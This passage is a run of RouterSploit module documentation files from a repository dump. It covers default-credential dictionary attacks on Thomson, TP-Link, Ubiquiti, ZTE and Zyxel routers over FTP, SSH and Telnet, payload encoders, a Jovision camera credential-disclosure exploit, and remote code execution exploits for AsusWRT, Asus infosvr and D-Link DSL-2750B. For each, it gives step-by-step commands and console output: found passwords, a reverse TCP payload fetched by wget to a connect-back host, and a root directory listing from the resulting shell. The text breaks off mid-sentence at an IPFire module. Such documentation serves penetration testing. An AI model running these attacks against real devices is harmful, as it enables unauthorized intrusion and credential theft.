credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/thomson/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/thomson/telnet_default_creds rsf (Thomson Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Thomson Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/tplink/000077500000000000000000000000001400750623600236315ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/tplink/ftp_default_creds.md000066400000000000000000000024731400750623600276360ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against TP-Link Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/tplink/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/tplink/ftp_default_creds rsf (TP-Link Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (TP-Link Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/tplink/ssh_default_creds.md000066400000000000000000000025461400750623600276430ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against TP-Link Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/tplink/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/tplink/ssh_default_creds rsf (TP-Link Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (TP-Link Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/tplink/telnet_default_creds.md000066400000000000000000000025761400750623600303440ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against TP-Link Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/tplink/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/tplink/telnet_default_creds rsf (TP-Link Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (TP-Link Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/ubiquiti/000077500000000000000000000000001400750623600241635ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/ubiquiti/ftp_default_creds.md000066400000000000000000000025021400750623600301610ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Ubiquiti Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/ubiquiti/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/ubiquiti/ftp_default_creds rsf (Ubiquiti Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Ubiquiti Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/ubiquiti/ssh_default_creds.md000066400000000000000000000025551400750623600301750ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Ubiquiti Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/ubiquiti/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/ubiquiti/ssh_default_creds rsf (Ubiquiti Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Ubiquiti Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/ubiquiti/telnet_default_creds.md000066400000000000000000000026051400750623600306670ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Ubiquiti Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/ubiquiti/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/ubiquiti/telnet_default_creds rsf (Ubiquiti Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Ubiquiti Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/zte/000077500000000000000000000000001400750623600231325ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/zte/ftp_default_creds.md000066400000000000000000000024511400750623600271330ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against ZTE Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/zte/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/zte/ftp_default_creds rsf (ZTE Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (ZTE Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/zte/ssh_default_creds.md000066400000000000000000000025241400750623600271400ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against ZTE Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/zte/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/zte/ssh_default_creds rsf (ZTE Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (ZTE Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/zte/telnet_default_creds.md000066400000000000000000000025541400750623600276410ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against ZTE Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/zte/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/zte/telnet_default_creds rsf (ZTE Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (ZTE Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/zyxel/000077500000000000000000000000001400750623600235035ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/zyxel/ftp_default_creds.md000066400000000000000000000024631400750623600275070ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Zyxel Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/zyxel/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/zyxel/ftp_default_creds rsf (Zyxel Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Zyxel Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/zyxel/ssh_default_creds.md000066400000000000000000000025361400750623600275140ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Zyxel Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/zyxel/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/zyxel/ssh_default_creds rsf (Zyxel Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Zyxel Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/zyxel/telnet_default_creds.md000066400000000000000000000025661400750623600302150ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Zyxel Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/zyxel/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/zyxel/telnet_default_creds rsf (Zyxel Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Zyxel Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/encoders/000077500000000000000000000000001400750623600213275ustar00rootroot00000000000000routersploit-master/docs/modules/encoders/perl/000077500000000000000000000000001400750623600222715ustar00rootroot00000000000000routersploit-master/docs/modules/encoders/perl/base64.md000066400000000000000000000006121400750623600236760ustar00rootroot00000000000000## Description Module encodes Perl payload to base64 format. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use encoders/perl/base64` 3. Do: `show info` ## Scenarios ``` rsf > use encoders/perl/base64 rsf (Perl Base64 Encoder) > show info Name: Perl Base64 Encoder Description: Module encodes PERL payload to Base64 format. Authors: - Marcin Bury ``` routersploit-master/docs/modules/encoders/perl/hex.md000066400000000000000000000005701400750623600234010ustar00rootroot00000000000000## Description Module encodes Perl payload to hex format. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use encoders/perl/hex` 3. Do: `show info` ## Scenarios ``` rsf > use encoders/perl/hex rsf (Perl Hex Encoder) > show info Name: Perl Hex Encoder Description: Module encodes PERL payload to Hex format. Authors: - Marcin Bury ``` routersploit-master/docs/modules/encoders/php/000077500000000000000000000000001400750623600221165ustar00rootroot00000000000000routersploit-master/docs/modules/encoders/php/base64.md000066400000000000000000000006041400750623600235240ustar00rootroot00000000000000## Description Module encodes PHP payload to base64 format. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use encoders/php/base64` 3. Do: `show info` ## Scenarios ``` rsf > use encoders/php/base64 rsf (PHP Base64 Encoder) > show info Name: PHP Base64 Encoder Description: Module encodes PHP payload to Base64 format. Authors: - Marcin Bury ``` routersploit-master/docs/modules/encoders/php/hex.md000066400000000000000000000005621400750623600232270ustar00rootroot00000000000000## Description Module encodes PHP payload to Hex format. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use encoders/php/hex` 3. Do: `show info` ## Scenarios ``` rsf > use encoders/php/hex rsf (PHP Hex Encoder) > show info Name: PHP Hex Encoder Description: Module encodes PHP payload to Hex format. Authors: - Marcin Bury ``` routersploit-master/docs/modules/encoders/python/000077500000000000000000000000001400750623600226505ustar00rootroot00000000000000routersploit-master/docs/modules/encoders/python/base64.md000066400000000000000000000006261400750623600242620ustar00rootroot00000000000000## Description Module encodes Python payload to base64 format. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use encoders/python/base64` 3. Do: `show info` ## Scenarios ``` rsf > use encoders/python/base64 rsf (Python Base64 Encoder) > show info Name: Python Base64 Encoder Description: Module encodes Python payload to Base64 format. Authors: - Marcin Bury ``` routersploit-master/docs/modules/encoders/python/hex.md000066400000000000000000000006041400750623600237560ustar00rootroot00000000000000## Description Module encodes Python payload to hex format. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use encoders/python/hex` 3. Do: `show info` ## Scenarios ``` rsf > use encoders/python/hex rsf (Python Hex Encoder) > show info Name: Python Hex Encoder Description: Module encodes Python payload to Hex format. Authors: - Marcin Bury ``` routersploit-master/docs/modules/exploits/000077500000000000000000000000001400750623600213745ustar00rootroot00000000000000routersploit-master/docs/modules/exploits/cameras/000077500000000000000000000000001400750623600230075ustar00rootroot00000000000000routersploit-master/docs/modules/exploits/cameras/jovision/000077500000000000000000000000001400750623600246475ustar00rootroot00000000000000routersploit-master/docs/modules/exploits/cameras/jovision/jovision_credentials_disclosure.md000066400000000000000000000016601400750623600336450ustar00rootroot00000000000000## Description Module exploits a CGI script that doesn't validate whether the client is logged in on some jovision cameras to return credentials. ## Verification Steps 1. Start ./rsf.py 2. use exploits/cameras/jovision/jovision_credentials_disclosure 3. set target 192.168.1.1 4. run 5. If device is vulnerable user credentials are returned. ## Scenarios ``` rsf > use exploits/cameras/jovision/jovision_credentials_disclosure rsf (Jovision camera credential disclosure) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Jovision camera credential disclosure) > run [*] Running module... [+] Target seems to be vulnerable [+] Accounts found: Description Username Password Administrator ----------- -------- -------- ------------- Admin account admin ADMIN Yes Guest account guest 1234 No ``` routersploit-master/docs/modules/exploits/routers/000077500000000000000000000000001400750623600230775ustar00rootroot00000000000000routersploit-master/docs/modules/exploits/routers/asus/000077500000000000000000000000001400750623600240525ustar00rootroot00000000000000routersploit-master/docs/modules/exploits/routers/asus/asuswrt_lan_rce.md000066400000000000000000000077111400750623600275750ustar00rootroot00000000000000## Description Module exploits multiple vulnerabilities to achieve remote code execution in AsusWRT firmware. The HTTP server contains vulnerability that allows bypass authentication via POST requests. Combining this with another vulnerability in the VPN configuration upload functionality allows setting NVRAM configuration variables directly from the POST request. By setting nvram variable ateCommand_flag to 1 it is possible to enable special command mode which allows executing commands via infosvr server listening on port UDP 9999. Module was tested on Asus RT-AC68U 3.0.0.4.380_7378. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use exploits/routers/asus/asuswrt_lan_rce` 3. Do: `set target[TargetIP]` 4. Do: `run` 5. If router is vulnerable, it should be possible to execute commands on operating system level. 6. Do: `set payload reverse_tcp` 7. Do: `set lhost [AttackerIP]` 8. Do: `run` 9. Payload is sent to device and executed providing attacker with the command shell. ## Scenarios ``` rsf > use exploits/routers/asus/asuswrt_lan_rce rsf (AsusWRT Lan RCE) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (AsusWRT Lan RCE) > run [*] Running module... [+] Successfuly set ateCommand_flag variable [+] Welcome to cmd. Commands are sent to the target via the execute method. [*] For further exploitation use 'show payloads' and 'set payload ' commands. cmd > show payloads [*] Available payloads: Payload Name Description ------- ---- ----------- bind_tcp ARMLE Bind TCP Creates interactive tcp bind shell for ARMLE architecture. reverse_tcp ARMLE Reverse TCP Creates interactive tcp reverse shell for ARMLE architecture. cmd > set payload reverse_tcp cmd (ARMLE Reverse TCP) > show options Payload Options: Name Current settings Description ---- ---------------- ----------- lhost Connect-back IP address lport 5555 Connect-back TCP Port encoder Encoder cmd (ARMLE Reverse TCP) > set lhost 192.168.1.115 lhost => 192.168.1.115 cmd (ARMLE Reverse TCP) > run [*] Using wget method [*] Using wget to download binary [*] Executing payload on the device [*] Waiting for reverse shell... [*] Connection from 192.168.1.1:56981 [+] Enjoy your shell ls -la drwxr-xr-x 18 admin root 325 Mar 15 2017 . drwxr-xr-x 18 admin root 325 Mar 15 2017 .. drwxr-xr-x 2 admin root 3 Mar 15 2017 asus_jffs drwxr-xr-x 2 admin root 706 Mar 15 2017 bin drwxr-xr-x 2 admin root 3 Mar 15 2017 cifs1 drwxr-xr-x 2 admin root 3 Mar 15 2017 cifs2 drwxr-xr-x 5 admin root 1540 Aug 1 2015 dev lrwxrwxrwx 1 admin root 7 Mar 15 2017 etc -> tmp/etc lrwxrwxrwx 1 admin root 8 Mar 15 2017 home -> tmp/home drwxr-xr-x 5 admin root 0 Sep 4 22:40 jffs drwxr-xr-x 3 admin root 402 Mar 15 2017 lib lrwxrwxrwx 1 admin root 9 Mar 15 2017 media -> tmp/media drwxr-xr-x 2 admin root 3 Mar 15 2017 mmc lrwxrwxrwx 1 admin root 7 Mar 15 2017 mnt -> tmp/mnt lrwxrwxrwx 1 admin root 7 Mar 15 2017 opt -> tmp/opt dr-xr-xr-x 106 admin root 0 Jan 1 1970 proc drwxr-xr-x 7 admin root 766 Mar 15 2017 rom lrwxrwxrwx 1 admin root 13 Mar 15 2017 root -> tmp/home/root drwxr-xr-x 2 admin root 2428 Mar 15 2017 sbin drwxr-xr-x 11 admin root 0 Jan 1 1970 sys drwxr-xr-x 2 admin root 3 Mar 15 2017 sysroot drwxrwxrwx 13 admin root 860 Sep 4 22:50 tmp drwxr-xr-x 8 admin root 139 Mar 15 2017 usr lrwxrwxrwx 1 admin root 7 Mar 15 2017 var -> tmp/var drwxr-xr-x 14 admin root 6036 Mar 15 2017 www ``` routersploit-master/docs/modules/exploits/routers/asus/infosvr_backdoor_rce.md000066400000000000000000000073101400750623600305600ustar00rootroot00000000000000## Description Module exploits remote command execution in multiple ASUS devices. If the target is vulnerable, command loop is invoked that allows executing commands on operating system level. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use exploits/routers/asus/infosvr_backdoor_rce` 3. Do: `set target[TargetIP] 4. Do: `run` 5. If router is vulnerable, it should be possible to execute commands on operating system level. 6. Do: `set payload reverse_tcp` 7. Do: `set lhost [AttackerIP]` 8. Do: `run` 9. Payload is sent to device and executed providing attacker with the command shell. ## Scenarios ``` rsf > use exploits/routers/asus/infosvr_backdoor_rce rsf (Asus Infosvr Backdoor RCE) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Asus Infosvr Backdoor RCE) > run [*] Running module... [+] Target is vulnerable [*] Invoking command loop... [*] Please note that only first 256 characters of the output will be displayed or use reverse_tcp [+] Welcome to cmd. Commands are sent to the target via the execute method. [*] For further exploitation use 'show payloads' and 'set payload ' commands. cmd > show payloads [*] Available payloads: Payload Name Description ------- ---- ----------- bind_tcp ARMLE Bind TCP Creates interactive tcp bind shell for ARMLE architecture. reverse_tcp ARMLE Reverse TCP Creates interactive tcp reverse shell for ARMLE architecture. cmd > set payload reverse_tcp cmd (ARMLE Reverse TCP) > show options Payload Options: Name Current settings Description ---- ---------------- ----------- lhost Connect-back IP address lport 5555 Connect-back TCP Port encoder Encoder cmd (ARMLE Reverse TCP) > set lhost 192.168.1.115 lhost => 192.168.1.115 cmd (ARMLE Reverse TCP) > run [*] Using wget method [*] Using wget to download binary [*] Executing payload on the device [*] Waiting for reverse shell... [*] Connection from 192.168.1.1:35220 [+] Enjoy your shell ls -la ls -la drwxr-xr-x 18 admin root 325 Mar 15 2017 . drwxr-xr-x 18 admin root 325 Mar 15 2017 .. drwxr-xr-x 2 admin root 3 Mar 15 2017 asus_jffs drwxr-xr-x 2 admin root 706 Mar 15 2017 bin drwxr-xr-x 2 admin root 3 Mar 15 2017 cifs1 drwxr-xr-x 2 admin root 3 Mar 15 2017 cifs2 drwxr-xr-x 5 admin root 1540 Sep 4 23:04 dev lrwxrwxrwx 1 admin root 7 Mar 15 2017 etc -> tmp/etc lrwxrwxrwx 1 admin root 8 Mar 15 2017 home -> tmp/home drwxr-xr-x 5 admin root 0 Sep 4 23:25 jffs drwxr-xr-x 3 admin root 402 Mar 15 2017 lib lrwxrwxrwx 1 admin root 9 Mar 15 2017 media -> tmp/media drwxr-xr-x 2 admin root 3 Mar 15 2017 mmc lrwxrwxrwx 1 admin root 7 Mar 15 2017 mnt -> tmp/mnt lrwxrwxrwx 1 admin root 7 Mar 15 2017 opt -> tmp/opt dr-xr-xr-x 101 admin root 0 Jan 1 1970 proc drwxr-xr-x 7 admin root 766 Mar 15 2017 rom lrwxrwxrwx 1 admin root 13 Mar 15 2017 root -> tmp/home/root drwxr-xr-x 2 admin root 2428 Mar 15 2017 sbin drwxr-xr-x 11 admin root 0 Jan 1 1970 sys drwxr-xr-x 2 admin root 3 Mar 15 2017 sysroot drwxrwxrwx 13 admin root 860 Sep 4 23:33 tmp drwxr-xr-x 8 admin root 139 Mar 15 2017 usr lrwxrwxrwx 1 admin root 7 Mar 15 2017 var -> tmp/var drwxr-xr-x 14 admin root 6036 Mar 15 2017 www ``` routersploit-master/docs/modules/exploits/routers/dlink/000077500000000000000000000000001400750623600242005ustar00rootroot00000000000000routersploit-master/docs/modules/exploits/routers/dlink/dsl_2750b_rce.md000066400000000000000000000057221400750623600267620ustar00rootroot00000000000000## Description This module exploits remote code execution vulnerability in D-Link DSL-2750B devices through "cli" parameter. Vulnerable firmwares are 1.01 up to 1.03. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use exploits/routers/dlink/dsl_2750b_rce` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If router is vulnerable, it should be possible to execute commands on operating system level. 6. Do: `set payload reverse_tcp` 7. Do: `set lhost [AttackerIP]` 8. Do: `run` 9. Payload is sent to device and executed providing attacker with the command shell. ## Scenarios ``` rsf > use exploits/routers/dlink/dsl_2750b_rce rsf (D-Link DSL-2750B RCE) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (D-Link DSL-2750B RCE) > run [*] Running module... [+] Target appears to be vulnerable [+] Welcome to cmd. Commands are sent to the target via the execute method. [*] For further exploitation use 'show payloads' and 'set payload ' commands. cmd > show payloads [*] Available payloads: Payload Name Description ------- ---- ----------- bind_tcp MIPSBE Bind TCP Creates interactive tcp bind shell for MIPSBE architecture. reverse_tcp MIPSBE Reverse TCP Creates interactive tcp reverse shell for MIPSBE architecture. cmd > set payload reverse_tcp cmd (MIPSBE Reverse TCP) > show options Payload Options: Name Current settings Description ---- ---------------- ----------- lhost Connect-back IP address lport 5555 Connect-back TCP Port cmd (MIPSBE Reverse TCP) > set lhost 192.168.1.4 lhost => 192.168.1.4 cmd (MIPSBE Reverse TCP) > run [*] Using wget method [*] Using wget to download binary [*] Executing payload on the device [*] Waiting for reverse shell... [*] Connection from 192.168.1.1:41933 [+] Enjoy your shell ls -la drwxrwxrwx 15 admin root 224 Mar 11 2013 . drwxrwxrwx 15 admin root 224 Mar 11 2013 .. drwxr-xr-x 2 admin root 2554 Mar 11 2013 bin drwxr-xr-x 2 admin root 3 Mar 11 2013 data drwxr-xr-x 4 admin root 2482 Mar 11 2013 dev drwxr-xr-x 12 admin root 779 Mar 11 2013 etc drwxr-xr-x 6 admin root 690 Mar 11 2013 lib lrwxrwxrwx 1 admin root 11 Mar 11 2013 linuxrc -> bin/busybox drwxr-xr-x 2 admin root 0 Jan 1 1970 mnt drwxr-xr-x 5 admin root 56 Mar 11 2013 opt dr-xr-xr-x 69 admin root 0 Jan 1 1970 proc drwxr-xr-x 2 admin root 270 Mar 11 2013 sbin drwxr-xr-x 11 admin root 0 Jan 1 1970 sys lrwxrwxrwx 1 admin root 8 Mar 11 2013 tmp -> /var/tmp drwxr-xr-x 4 admin root 38 Mar 11 2013 usr drwxr-xr-x 16 admin root 0 Oct 19 20:36 var drwxr-xr-x 5 admin root 2801 Mar 11 2013 webs ``` routersploit-master/docs/modules/exploits/routers/ipfire/000077500000000000000000000000001400750623600243555ustar00rootroot00000000000000routersploit-master/docs/modules/exploits/routers/ipfire/ipfire_proxy_rce.md000066400000000000000000000046011400750623600302500ustar00rootroot00000000000000## Description This module exploits IPFire < 2.19 Core Update 101 Remote Code Execution vulnerability which allows 